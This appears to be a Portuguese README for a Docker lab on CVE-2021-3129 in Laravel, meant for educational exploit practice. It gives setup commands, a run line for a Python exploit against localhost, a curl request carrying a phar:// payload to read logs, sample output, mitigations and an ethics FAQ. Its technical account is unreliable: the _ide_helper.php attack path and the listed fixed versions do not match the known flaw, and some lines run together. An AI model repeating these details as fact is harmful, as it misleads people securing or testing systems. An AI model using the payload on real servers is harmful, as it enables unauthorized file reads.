
CVE-2021-3129: Laravel Debug Mode RCE - Laboratório de exploração completo com exploit em Python, contêiner Docker e guia de análise de segurança.
Laboratório prático para exploração do CVE-2021-3129 – uma vulnerabilidade crítica no Laravel que permite leitura de arquivos não autenticada e possível RCE.
# Clone
git clone https://github.com/theNareshofficial/CVE-2021-3129-Lab.git
cd CVE-2021-3129-Lab
# Build & Run
docker build -t cve-2021-3129-lab:latest .
docker run -d --name laravel-cve-2021-3129 -p 8080:80 cve-2021-3129-lab:latest
# Test
curl http://localhost:8080/_ide_helper.php
# Exploit
python3 cve_2021_3129_exploit.py http://localhost:8080
| Propriedade | Detalhes |
|---|---|
| Severidade | CVSS 7.5 (Alta) |
| Afetados | Laravel < 8.4.2, < 7.30.4 |
| Impacto | Leitura arbitrária de arquivos, exposição de informações, possível RCE |
| Autenticação Necessária | Não |
| Vetor de Ataque | Rede |
/_ide_helper.phpphar:// para ler arquivos# 1. Clone
git clone https://github.com/theNareshofficial/CVE-2021-3129-Lab.git
cd CVE-2021-3129-Lab
# 2. Construir contêiner
docker build -t cve-2021-3129-lab:latest .
# 3. Executar contêiner
docker run -d --name laravel-cve-2021-3129 -p 8080:80 cve-2021-3129-lab:latest
# 4. Verificar endpoint
curl http://localhost:8080/_ide_helper.php
# 5. Executar exploit
python3 cve_2021_3129_exploit.py http://localhost:8080
[✓✓✓] CVE-2021-3129 VULNERABILIDADE CONFIRMADA!
DETALHES DA VULNERABILIDADE:
- Modo de depuração ATIVADO (APP_DEBUG=true)
- _ide_helper.php ACESSÍVEL
- Leitura arbitrária de arquivos POSSÍVEL
- Informações sigilosas VAZADAS
# Básico
python3 cve_2021_3129_exploit.py http://localhost:8080
# Timeout personalizado
python3 cve_2021_3129_exploit.py http://localhost:8080 --timeout 10
# Ajuda
python3 cve_2021_3129_exploit.py -h
# Testar endpoint
curl http://localhost:8080/_ide_helper.php
# Testar com payload
curl 'http://localhost:8080/_ide_helper.php?subject=phar://storage/logs/laravel.log'
# 1. Definir APP_DEBUG=false no .env
# 2. Remover _ide_helper.php
# 3. Atualizar o Laravel para versão corrigida (8.4.2+, 7.30.4+)
# 4. Reiniciar a aplicação
# Parar contêiner
docker stop laravel-cve-2021-3129
# Remover contêiner
docker rm laravel-cve-2021-3129
# Remover imagem
docker rmi cve-2021-3129-lab:latest
P: Posso testar na internet?
R: Não. Isso é apenas para localhost. Nunca teste em sistemas que não sejam seus.
P: Funcionará em versões corrigidas?
R: Não. Laravel 8.4.2+ e 7.30.4+ estão corrigidos.
P: Posso modificar o exploit?
R: Sim. O código está totalmente comentado para aprendizado.
P: Como capturar o tráfego de rede?
R: Use tcpdump ou Wireshark:
sudo tcpdump -i lo -w capture.pcapng 'tcp port 8080'
# Em outro terminal, execute o exploit
python3 cve_2021_3129_exploit.py http://localhost:8080
# Abra a captura: wireshark capture.pcapng
⚠️ Apenas para fins educacionais
✅ Usos Autorizados:
❌ Usos Proibidos:
Use apenas em sistemas próprios ou com autorização explícita para teste.
Naresh R (@theNareshofficial)
Licença MIT - Consulte o arquivo LICENSE